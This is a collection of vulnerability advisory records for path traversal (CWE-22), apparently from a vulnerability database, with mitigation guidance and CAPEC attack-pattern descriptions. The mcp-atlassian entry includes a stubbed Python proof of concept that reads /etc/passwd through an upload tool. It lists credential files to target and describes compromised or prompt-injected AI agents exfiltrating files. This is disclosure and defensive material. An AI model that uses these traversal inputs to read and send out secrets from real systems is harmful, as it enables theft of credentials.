/etc/shadow— system password hashes/proc/self/environ— process environment variables (API keys, secrets)~/.mcp-atlassian/oauth-*.json— stored OAuth refresh tokens- SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira_upload_attachment and confluence_upload_attachment MCP tools are affected.
Root cause: The validate_safe_path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77266"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:35:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file\u0027s contents to the remote Atlassian instance as an attachment.\n\nThis is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules.\n\n---\n\n### Details\n\n**Affected functions:**\n\n| File | Function | Line |\n|------|----------|------|\n| `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372\u2013415 |\n| `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62\u2013108 |\n| `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476\u2013477 |\n\n**Jira \u2014 vulnerable code path (`jira/attachments.py`):**\n\n```python\ndef upload_attachment(self, issue_key: str, file_path: str) -\u003e dict:\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path) # resolves relative paths\n\n if not os.path.exists(file_path): # confirms file exists\n ...\n\n # \u26a0 validate_safe_path() is NEVER called here\n filename = os.path.basename(file_path)\n with open(file_path, \"rb\") as file: # arbitrary file opened\n attachment = self.jira.add_attachment(\n issue_key=issue_key, filename=file_path\n )\n```\n\nCompare with the **protected** download path in the same file:\n\n```python\ndef download_attachment(self, url: str, target_path: str) -\u003e bool:\n ...\n validate_safe_path(target_path) # upload has no equivalent\n```\n\n**Confluence \u2014 vulnerable code path (`confluence/attachments.py`):**\n\n```python\ndef upload_attachment(self, content_id, file_path, ...):\n ...\n if not os.path.isabs(file_path):\n file_path = os.path.abspath(file_path)\n\n # \u26a0 validate_safe_path() is NEVER called\n filename = os.path.basename(file_path)\n attachment = self._upload_attachment_direct(\n content_id, file_path, filename, comment, minor_edit\n )\n\n# Inside _upload_attachment_direct():\nfiles = {\"file\": (filename, open(file_path, \"rb\"))} # \u2190 arbitrary file opened\n```\n\n---\n\n### PoC\n\nTested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required \u2014 the API call is stubbed.\n\n**Jira PoC (`poc_001_jira_path_traversal.py`):**\n\n```python\nimport sys, os, types\nfrom unittest.mock import MagicMock\n\nsys.path.insert(0, \"src\")\n\ndef _make_pkg(name):\n m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m\n\natlassian_pkg = _make_pkg(\"atlassian\")\natlassian_jira = _make_pkg(\"atlassian.jira\")\natlassian_pkg.jira = atlassian_jira\natlassian_jira.Jira = type(\"Jira\", (), {\n \"__init__\": lambda s, *a, **k: None,\n \"_session\": MagicMock()\n})\natlassian_pkg.Jira = atlassian_jira.Jira\nkeyring = _make_pkg(\"keyring\")\nkeyring.get_password = keyring.set_password = lambda *a, **k: None\n\nfrom mcp_atlassian.jira.attachments import AttachmentsMixin\nfrom mcp_atlassian.jira.config import JiraConfig\n\nconfig = JiraConfig(url=\"https://test.atlassian.net\", auth_type=\"basic\",\n username=\"x\", api_token=\"x\")\n\nclass FakeFetcher(AttachmentsMixin):\n def __init__(self):\n self.config = config\n self.jira = MagicMock()\n self.jira.add_attachment.return_value = {\"id\": \"99\", \"filename\": \"passwd\"}\n\nresult = FakeFetcher().upload_attachment(issue_key=\"TEST-1\", file_path=\"/etc/passwd\")\nprint(result)\n```\n\n**Observed output \u2014 Jira (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"1342\" height=\"131\" alt=\"image\" src=\"https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : AttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027issue_key\u0027: \u0027TEST-1\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u002799\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 file opened with no path validation\n add_attachment call args: call(issue_key=\u0027TEST-1\u0027, filename=\u0027/etc/passwd\u0027)\n```\n\n**Observed output \u2014 Confluence (Kali Linux, v0.21.1):**\n\n\u003cimg width=\"2682\" height=\"576\" alt=\"image\" src=\"https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004\" /\u003e\n\n```\n[*] Target file : /etc/passwd\n[*] Calling : ConfluenceAttachmentsMixin.upload_attachment()\n\n[*] Return value: {\u0027success\u0027: True, \u0027content_id\u0027: \u0027123456\u0027, \u0027filename\u0027: \u0027passwd\u0027, \u0027size\u0027: 3388, \u0027id\u0027: \u0027att-99\u0027}\n[*] Files opened: [\u0027/etc/passwd\u0027]\n\n[!!!] VULNERABLE \u2014 /etc/passwd opened without validate_safe_path()\n upload_attachment() \u2192 _upload_attachment_direct() \u2192 open(file_path)\n download_attachment() in same file IS protected \u2014 asymmetric fix\n```\n\nKey evidence:\n- `success: True` \u2014 no exception raised, no path validation triggered\n- `size: 3388` \u2014 `/etc/passwd` was opened and read by `os.path.getsize()`\n- Both modules affected independently \u2014 neither Jira nor Confluence has an upload-side guard\n\nIn a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.\n\n---\n\n### Impact\n\nAny authenticated MCP client \u2014 including a compromised AI agent, a prompt-injected session, or a malicious plugin \u2014 can read and exfiltrate arbitrary files readable by the server process:\n\n- `/etc/shadow` \u2014 system password hashes\n- `/proc/self/environ` \u2014 process environment variables (API keys, secrets)\n- `~/.mcp-atlassian/oauth-*.json` \u2014 stored OAuth refresh tokens\n- SSH private keys, TLS certificates, application configuration files\n\nNo special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected.\n\n**Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.",
"id": "GHSA-mfv2-4wvm-9pgp",
"modified": "2026-09-22T20:35:06Z",
"published": "2026-09-22T20:35:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-mfv2-4wvm-9pgp"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "MCP Atlassian: Path traversal in upload_attachment allows arbitrary file read and exfiltration via MCP tool call"
}
GHSA-MFV3-6RVQ-7JVX
Vulnerability from github – Published: 2022-05-14 01:53 – Updated: 2022-05-14 01:53A directory traversal vulnerability in the Connect Service of the BlackBerry Enterprise Mobility Server (BEMS) 2.8.17.29 and earlier could allow an attacker to retrieve arbitrary files in the context of a BEMS administrator account.
{
"affected": [],
"aliases": [
"CVE-2018-8889"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-19T20:29:00Z",
"severity": "MODERATE"
},
"details": "A directory traversal vulnerability in the Connect Service of the BlackBerry Enterprise Mobility Server (BEMS) 2.8.17.29 and earlier could allow an attacker to retrieve arbitrary files in the context of a BEMS administrator account.",
"id": "GHSA-mfv3-6rvq-7jvx",
"modified": "2022-05-14T01:53:11Z",
"published": "2022-05-14T01:53:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8889"
},
{
"type": "WEB",
"url": "http://support.blackberry.com/kb/articleDetail?articleNumber=000051590\u0026language=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MFW8-6M9G-8VVR
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2026-08-17 18:30Path Traversal and Unrestricted File Upload exists in the Ninja Forms plugin before 3.0.23 for WordPress (when the Uploads add-on is activated). This allows an attacker to traverse the file system to access files and execute code via the includes/fields/upload.php (aka upload/submit page) name and tmp_name parameters.
{
"affected": [],
"aliases": [
"CVE-2019-10869"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-07T18:29:00Z",
"severity": "HIGH"
},
"details": "Path Traversal and Unrestricted File Upload exists in the Ninja Forms plugin before 3.0.23 for WordPress (when the Uploads add-on is activated). This allows an attacker to traverse the file system to access files and execute code via the includes/fields/upload.php (aka upload/submit page) name and tmp_name parameters.",
"id": "GHSA-mfw8-6m9g-8vvr",
"modified": "2026-08-17T18:30:58Z",
"published": "2022-05-24T16:45:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10869"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/e5898e0e-db43-4641-b2cd-f6a72cdb8993"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/9272"
},
{
"type": "WEB",
"url": "https://www.onvio.nl/nieuws/ninjaforms-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MFXV-9HC5-3JV3
Vulnerability from github – Published: 2026-09-24 15:31 – Updated: 2026-10-21 21:31A path traversal vulnerability was found in pulpcore. The content upload API accepts a 'file_url' parameter that allows users with file repository privileges to specify a local file URL for Pulp to download and store. A URL scheme validation check uses a string prefix comparison that only rejects URLs beginning with 'file://', but Python's URL parser recognizes the 'file:' scheme without double slashes, creating a mismatch between what is validated and what is dispatched to the file downloader. An authenticated user with low-privilege repository permissions can supply a specially crafted URL using relative path traversal sequences to read any file accessible to the Pulp server process. In deployments that include Pulp Container, successful exploitation allows an attacker to read the container registry token signing private key and forge bearer tokens, granting unauthorized access to all private container repositories in the affected registry.
{
"affected": [],
"aliases": [
"CVE-2026-90959"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-24T15:17:53Z",
"severity": "HIGH"
},
"details": "A path traversal vulnerability was found in pulpcore. The content upload API accepts a \u0027file_url\u0027 parameter that allows users with file repository privileges to specify a local file URL for Pulp to download and store. A URL scheme validation check uses a string prefix comparison that only rejects URLs beginning with \u0027file://\u0027, but Python\u0027s URL parser recognizes the \u0027file:\u0027 scheme without double slashes, creating a mismatch between what is validated and what is dispatched to the file downloader. An authenticated user with low-privilege repository permissions can supply a specially crafted URL using relative path traversal sequences to read any file accessible to the Pulp server process. In deployments that include Pulp Container, successful exploitation allows an attacker to read the container registry token signing private key and forge bearer tokens, granting unauthorized access to all private container repositories in the affected registry.",
"id": "GHSA-mfxv-9hc5-3jv3",
"modified": "2026-10-21T21:31:50Z",
"published": "2026-09-24T15:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90959"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:87004"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:87120"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:87124"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-90959"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2533037"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MG24-MPJ4-J47P
Vulnerability from github – Published: 2024-05-07 21:31 – Updated: 2024-07-03 18:39CmsEasy v7.7.7.9 was discovered to contain a local file inclusion vunerability via the file_get_contents function in the fckedit_action method of /admin/template_admin.php. This vulnerability allows attackers to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2024-34315"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-07T19:15:08Z",
"severity": "HIGH"
},
"details": "CmsEasy v7.7.7.9 was discovered to contain a local file inclusion vunerability via the file_get_contents function in the fckedit_action method of /admin/template_admin.php. This vulnerability allows attackers to read arbitrary files.",
"id": "GHSA-mg24-mpj4-j47p",
"modified": "2024-07-03T18:39:44Z",
"published": "2024-05-07T21:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34315"
},
{
"type": "WEB",
"url": "https://github.com/H3rmesk1t/vulnerability-paper/blob/main/CmsEasy-7.7.7.9-File%20Inclusion2.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.